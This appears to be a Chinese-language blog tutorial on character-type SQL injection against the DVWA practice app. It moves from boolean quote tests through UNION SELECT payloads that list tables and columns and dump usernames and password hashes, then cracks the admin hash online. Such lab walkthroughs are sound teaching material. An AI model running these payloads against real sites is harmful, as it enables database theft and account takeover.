0x01:sql注入含义
1.问:sql注入,谁去注入? 答:攻击者
2.问:sql注入,注入到哪里? 答:sql注入,注入到sql查询语句
3.问:sql注入,目的什么? 答:sql注入,注入到sql查询语句,从而破坏正常的sql查询语句,最终执行自己想要执行的语句
4.问:sql注入时候,执行的语句,有什么作用? 答:sql注入,执行的语句会与后台服务器直接进行交互,相当于是在一条命令换取一条甚至一组结果,之后返回到浏览器的页面进行渲染后,呈现在攻击者的面前。
0x02:本次sql注入的类型:
1.字符型注入,它的字符型是什么意思? 答:当输入的参数为字符串时,称为字符型。 2.字符型与数字型(整型)的区别在哪? 答:字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。 3.注入的类型到底是什么鬼? 答:①攻击者把命令注入到查询语句中,是为了传到后台的sql服务器后,可以执行,并且获得反馈。 ②那么这个以什么类型的语句注入到查询语句中,就完全取决于后台的sql服务器了。 ③若服务器设置为char字符型,那么相应的你也要通过字符型来注入咯。。。。。
①.首先你会发现一个注入点,如下图所示: ②输入:'
如上图所示,通过结果发现服务器是通过字符串的格式来接收传参的,所以这个就是字符型注入咯。 a.最外面一对单引号,是为了高亮显示,也就是强调的。 b.接着一对单引号,是系统自动加的单引号。(字符型的,自动加一对单引号)(从这里判断的,这是字符型注入) c.最里面一个单引号,是刚刚自己打的。③输入:1' and '1'='1
如上图所示,结果正常显示。 a.第一行红色回显的语句,这条语句是你自己在输入框输入的语句,只是为了让你看清,自己输入了什么。 b.第一行的语句:1' and '1'=1' 这条语句在提交后,系统会自动进行闭合,也就是自动在前后加一对单引号,如: '1' and '1'='1'④输入:1' and '1'='2
如上图所示,提交后无回显。
总结:字符型注入的判断过程:
' //出现5个引号 ''' 1 and 1=1 //正常回显 '1 and 1=1' 1 and 1=2 //正常回显 '1 and 1=2' 1' and '1'='1 //正常回显 '1' and '1'='1' 1' and '1'='2 //不回显 '1' and '1'='2' //前后的一对单引号,是字符型的时候,系统的自动闭合。①输入:1' order by 3 #
②输入:1' order by 2 #
①输入:1' union select 1,2 #
//如上图所示, Firstname为1; Surname为2。②输入:1' union select database(),version() #
//如上图所示, 把1的位置换成database()后,显示数据库为dvwa; 把2的位置换成version()后,显示版本为5.5.53。③输入:1' union select user(),2 #
//如上图所示, 把1的位置换成user()后,显示服务器的用户为root,localhost为hostname主机名; 2的位置,依旧放2。①输入:1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #
//如上图所示, 联合查询后,一次性显示的表为:guestbook和users②输入:1' union select table_name,2 from information_schema.tables where table_schema='dvwa' #
//如上图所示,是逐条的显示出,表guestbook和users①输入:1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #
//如上图所示,一次性的爆列名,注意user_id和first_name和,user和password②输入:1' union select column_name,1 from information_schema.columns where table_name='users' #
//如上图所示,逐条爆出列名,注意user_id和first_name和,user和password①输入:1' union select group_concat(concat_ws(char(32,58,32),user,password)),2 from users# //如上图所示,一行显示所有信息 ②输入:1' union select concat_ws(char(32,58,32),user,password),2 from users#
//如上图所示,分行显示各自的用户名和密码③输入:1' union select user,password from users #
//如上图所示,用户名和密码分行显示①进入网站:https://www.cmd5.com/
//如上图所示,admin的密码是password 一句天赋毁了别人多少努力 2019-11-02————421